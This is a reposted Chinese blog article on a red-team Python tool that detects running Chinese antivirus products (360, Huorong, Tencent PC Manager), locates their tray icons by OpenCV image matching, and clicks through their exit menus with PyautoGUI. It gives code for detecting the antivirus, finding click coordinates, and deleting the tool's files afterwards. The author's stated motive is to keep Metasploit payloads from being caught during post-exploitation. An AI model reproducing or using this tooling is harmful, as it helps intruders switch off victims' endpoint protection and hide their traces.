学习
实践
活动
工具
TVP
写文章
专栏首页黑伞攻防实验室红队利用之利用PyautoGUI实现自动对某数字,某绒和某管家的退出

红队利用之利用PyautoGUI实现自动对某数字,某绒和某管家的退出

起因:

4月份的某一天,在玩内网渗透的时候,发现一些比较好的免杀工具的确能让木马对杀毒软件实现绕过,这种免杀工具的连接端大部分是MSF的,在MSF里面进行后渗透操作的时候,MSF会再向目标计算机发送可执行文件,这时可执行文件就不再免杀了,加入对方电脑上安装了杀毒软件的话,基本GG了,因为MSF原生的payload已经被各大杀软爆菊了,所以才萌生了自动关闭杀毒软件的想法!

昨天看到 S0cke3t巨佬的文章,才发现这个想法居然跟巨佬的差不多,这可能是我这长在这么大离巨佬思维最近的一次了。但是巨佬wmic和注册表操作是我没想到的,向巨佬学习~

功能实现

1. 识别杀软

为了实现自动识别杀毒软件的功能,首先要知道系统运行了哪些杀毒软件,CMD命令tasklist可以列出系统正在运行的进程,将其与已知的杀毒软件进行进行匹配即可,如果进程中有与av_process里的进程名,说明该电脑正在运行XX杀毒软件。这里需要做个判断,如果不存在杀毒软件的话,则退出该程序。

av_process = {'hr': 'HipsTray.exe', 'txgj': 'QQPCTray.exe', '360': '360sd.exe'}

def runningAVs():

tasklist = popen('tasklist').read().split()

for av_exe in av_process.values():

if av_exe in tasklist:

usingAV = [k for k, v in av_process.items() if v == av_exe][0]

return usingAV

图1 判断运行杀毒软件的函数

try:

AV = runningAVs()

print(AV)

# 将对应的logo写入

logo_b64 = b64_AV_logo[AV]

logo_img = base64.b64decode(logo_b64)

with open(logoImage, 'wb') as f:

f.write(logo_img)

# 输出通用的‘退出’字符串图片

with open(logoutImage, 'wb') as f:

f.write(base64.b64decode(b64_logout))

# 通过杀毒软件判断最后一步退出步骤应该使用的字样

if AV == r'hr':

return b64_logout

elif AV == r'360':

return b64_blue_comfirm

else:

return b64_white_comfirm

except :

print('主人,这家伙没开杀毒软件!!!!干他๑乛◡乛๑ ')

exit()

图2 不存在杀毒软件,程序退出,存在的话,将logo最为图片输出

2. 坐标获取

知道目标主机运行的程序后就需要准备关闭它了,这时候使用opencv的图像识别技术,找到目标(杀毒软件)logo在屏幕的位置,以坐标形式进行返回,用于对鼠标的定位。

def get_position(imgSource, imgTarget):

source = cv2.imread(imgSource, 0) # 0-灰度处理,防止颜色不同对定位产生影响

target = cv2.imread(imgTarget, 0)

wight, height = target.shape[::-1] # 获取图片长和宽,方便确定文字的中新坐标

res = cv2.matchTemplate(source, target, cv2.TM_CCOEFF_NORMED)

min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)

pos_x = int(max_loc[0] + wight / 2)

pos_y = int(max_loc[1] + height / 2)

# print(pos_x, pos_y)

return pos_x, pos_y

3. 鼠标操作

这是PyautoGUI库的功能,此程序用到的只是rightClick,Click功能,主要是利用opencv获取到的坐标,让鼠标进行移动到对应的位置,然后进行右击和点击操作。

4. 清理痕迹

活干完了,总不能抢前走人吧,至少得擦掉一些痕迹吧!由于需要多次通过图片对比来找到坐标,所以会在目标电脑里保存6张图片,所以当杀毒软件退出后,我们需要将其删除。CMD的del命令可以删除文件(不是移动到回收站,而是直接删除)

def clean():

popen(r'del /q {} {} {} {} {} {}'.format(logoutImage, logoImage, comfireImage,

screen_before,screen_logout, screen_logout))

5. Tips

a) 关于sleep:为什么需要sleep?

Pyautogui进行截屏操作的时候需要时间(100ms左右,电脑性能会导致时间长短不同),sleep时长跟电脑性能有关,如果目标主机性能足够好的话,可以适当减小sleep时长。

b) 关于图片存放位置:为什么不直接在当前目录下?

在当前目录下由于图片中有类似‘退出’、‘确认’字样,会被opencv识别,导致定位不准,所以必须保存在其他目录下

c) 关于打开右下角隐藏起的图标

Win+B,再按一下空格键或者回车键

d) 关于图片保存

这一点我的思路跟巨佬相同,先将图片转为base64,需要用的时候再将其解码回来即可。而且重要的是,当进行渗透的时候,只需要上传一个文件!减少上传的文件数量!

成果展示

关闭360

关闭某管家

关闭某绒

该项目目前只是一个demo,还有很多需要优化的地方,比如opencv的识别细致度可能稍微较弱,可能导致有时候图像识别不够准确,也仅在个别地方做了异常处理。后续版本会处理以上问题。

源码地址:https://github.com/PDWR/AVKiller

文章分享自微信公众号:
黑伞攻防实验室

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:阿雷头
原始发表时间:2020-05-22
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • 红队之利用PyautoGUI实现对某60安全卫士的自动化卸载

    今天早上无意间在一个微信公众号中看到一篇关于python第三方键鼠操作库PyautoGUI介绍的文章,看完感觉还是挺有意思的一个扩展库,然后突发奇想看看能不能利...

    用户2202688
  • 从攻守日志 看网络江湖的快意恩仇

    安全江湖门派众多,挂马派、钓鱼派、社工派……其中红方和蓝方两派特立独行,不为争夺霸主之位,只为了切磋攻防技艺,常常开展红蓝对决。

    C4rpeDime
  • 实战ATT&CK攻击链路--靶场Writeup(二)

    目前,安全行业热度逐年增加,很多新手安全从业人员在获取技术知识时,会局限于少量的实战中,技术理解得不到升华,只会像个脚本小子照着代码敲命令,遇到实战时自乱阵脚,...

    Ms08067安全实验室
  • 靶场Writeup(四) | 反序列化、命令执行、Tomcat、域渗透等漏洞组合到攻克域控

    目前,安全行业热度逐年增加,很多新手安全从业人员在获取技术知识时,会局限于少量的实战中,技术理解得不到升华,只会像个脚本小子照着代码敲命令,遇到实战时自乱阵脚,...

    Ms08067安全实验室
  • 安全练兵场Writeup(七) | ATT&CK实战靶场

    目前,安全行业热度逐年增加,很多新手安全从业人员在获取技术知识时,会局限于少量的实战中,技术理解得不到升华,只会像个脚本小子照着代码敲命令,遇到实战时自乱阵脚,...

    Ms08067安全实验室
  • 实战ATT&CK攻击链路--靶场Writeup(三)

    目前,安全行业热度逐年增加,很多新手安全从业人员在获取技术知识时,会局限于少量的实战中,技术理解得不到升华,只会像个脚本小子照着代码敲命令,遇到实战时自乱阵脚,...

    Ms08067安全实验室
  • 2021年4月11日 HW情报快讯

    在Facebook 5亿数据泄露事件发生后,近日,在某知名黑客论坛有黑客发帖出售5亿领英用户数据,并提供了200万数据记录作为证明。用户只要支付价值2美...

    IRTeam-工业安全
  • 服务稳定性及应用防护方案

    日志收集推荐使用Elastic Stack协议栈,可以满足收集海量日志需求,而且便于后续分析、报表、报警操作

    三杯水Plus
  • 同事提出个我从未想过的问题,为什么Kubernetes要"多此一举"推出静态Pod概念?

    我们知道k8s中Pod可以说是一个合格的容器小管家,Pod 被设计成支持多个容器可以一起进行调度,容器之间可以共享资源和依赖、彼此通信、协调何时以及何种方式运行...

    囧么肥事
  • 2 人各判 12 年:非法修改网络请求包,盗取价值 5000 余万虚拟货币,提现 200 余万

    被告人:凌某1,男,1988年出生,小学文化 被告人:凌某2,男,1988年出生,小学文化 2020年10月,凌某1、凌某2在广东省云浮市云城区暂住地内,利用...

    云头条
  • 两小学文化黑客,盗取价值 5000 余万虚拟货币,各被判刑 12 年!

    文章来源:云头条 新粉请关注我的公众号 被告人:凌某1,男,1988年出生,小学文化 被告人:凌某2,男,1988年出生,小学文化 2020年10月,凌某1、...

    用户1564362
  • SMBv3远程代码执行漏洞 CVE-2020-0796安全通告

    SMB远程代码执行漏洞(编号:CVE-2020-0796,类型:远程代码执行) 【漏洞描述】 SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查...

    贺艳燕 safra he
  • 干货 |GitHUB安全搬运工 八

    一个图形化的漏洞利用集成工具,它用python3书写,参考了大量安全工具的实现原理与思想,在工作之余开发,方便自己的渗透测试工作,我的目的是打造一个红队武器化工...

    HACK学习
  • 倒卖中国联通、中国电信 IDC 外拉带宽,流量穿透、破坏探针系统:徐某被判五年六个月、经营的四家公司被罚 80 万

    被告单位中通领航电信技术(北京)有限公司 被告单位北京中鑫恒业网络技术有限公司 被告单位北京首昌创业电信科技有限公司 被告单位辽宁盈通网络技术有限公司 被告人徐...

    云头条
  • 一种 Au3 远控木马变种样本分析

    一种 Au3 远控木马变种样本分析 0x01 Au3 简介 AutoIt3 (简称 Au3)是一种能够在Windows GUI 或 DOS 上实现一系列自动化...

    安恒网络空间安全讲武堂
  • 第19篇:关于近期cs服务端被反打的原因分析

    最近几天,不少朋友的cs服务端被反打了,相信很多网友都知道了,大家也都在讨论,各种各样说法都有。具体事件描述如下:部分网友的cs服务端被不明攻击者拿下权限,之后...

    亿人安全

扫码关注腾讯云开发者

领取腾讯云代金券